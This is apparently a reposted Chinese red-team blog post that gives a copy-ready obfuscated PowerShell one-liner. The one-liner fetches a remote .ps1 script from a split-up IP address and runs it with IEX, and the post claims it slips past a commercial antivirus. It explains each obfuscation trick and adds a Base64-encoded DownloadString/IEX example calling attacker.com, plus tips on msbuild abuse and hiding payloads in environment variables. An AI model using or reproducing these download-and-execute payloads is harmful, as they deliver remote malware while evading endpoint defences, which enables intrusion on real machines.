杀软检测机制
绕过语法
set temp=IEX((((((`N""e^w`-""O""b^j^e""c^t ^N""e""T.""W`e""b""C`l^i`e""n""t))))))."D`own`l`oa`d`Str`ing"('ht'+'tP://1'+'.1^3.15^'+'8.1'+'96'+':8^00^8'+'/^2.p^s^1')&&p""o""w""e""r""""""s""h""e""l""l ""`I""""E""""X ([Environment]::GetEnvironmentVariable('temp', 'Process'))
开箱即用,方便不想看原理的师傅们直接copy改改就能用。
以下是在某数字杀软开启了核晶模式下的效果(截止2025/03/24 24:00)。
绕过思路
-
1. 分块混淆+符号转义 -
• 关键操作:通过反引号(`)、引号("")和特殊符号(^)分割敏感字符,如 `N""e^w`-""O""b^j^e""c^t ^N""e""T
实际为New-Object
,规避静态签名检测。 -
• 实战价值:杀软的语法树分析依赖固定规则,符号干扰可破坏其解析逻辑。
-
-
2. 动态执行链设计 -
• ① 通过环境变量存储恶意代码片段( set temp=...
); -
• ② 使用 &powershell
调用IEX
执行环境变量内容,实现执行与代码存储分离。
-
-
-
• 步骤拆分。 -
• 防御绕过:杀软的进程行为监控需完整上下文,拆分操作可降低关联性告警。
-
-
3. HTTP协议动态拼接 -
• URL混淆:将目标地址拆分为 'ht'+'tP://192'+'.1^68.24^'
,规避网络层正则匹配。 -
• 端口干扰: 8^08^0
实际为8080
,符号插入可绕过端口黑名单规则。
-
-
4. 混合大小写与空格干扰 -
• 命令伪装:如 "D`own`l`oa`d`Str`ing"
实际为DownloadString
,大小写+反引号干扰破坏字符串哈希特征。
-
进阶思路
-
1. 编码层叠加 -
• 在现有混淆基础上,增加Base64/Hex二次编码,例如:
-
$enc=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('http://attacker.com'));
IEX (New-Object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($enc)))
-
2. Living-off-the-Land技巧 -
• 调用系统白进程(如 msbuild.exe
)加载混淆后的PS1脚本,绕过进程链监控。
-
-
3. 环境变量深度隐藏 -
• 使用 [Environment]::SetEnvironmentVariable('key','value','User')
持久化存储载荷,规避进程内存扫描。
-
结语
免杀从来不是“一劳永逸”的技术,而是一场基于时间差的对抗博弈。今天的混淆手法可能因防护引擎的规则库更新、流量模型升级或内存扫描增强而失效,唯有掌握底层逻辑才能持续迭代攻击载荷。
文中技术细节仅代表当前对抗阶段(截止2025/03/24 24:00)的有效路径,实际攻防中需根据目标环境实时调整。
本文虽仅展示基础混淆手法,但文中提出了深入的思路,喜欢研究的师傅们可以继续顺着思路深入研究,这里不提供更深入的绕过代码。
免杀战场没有永恒胜利,只有持续进化!
原文始发于微信公众号(炽影安全):红队实战 | PowerShell混淆绕过杀软
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论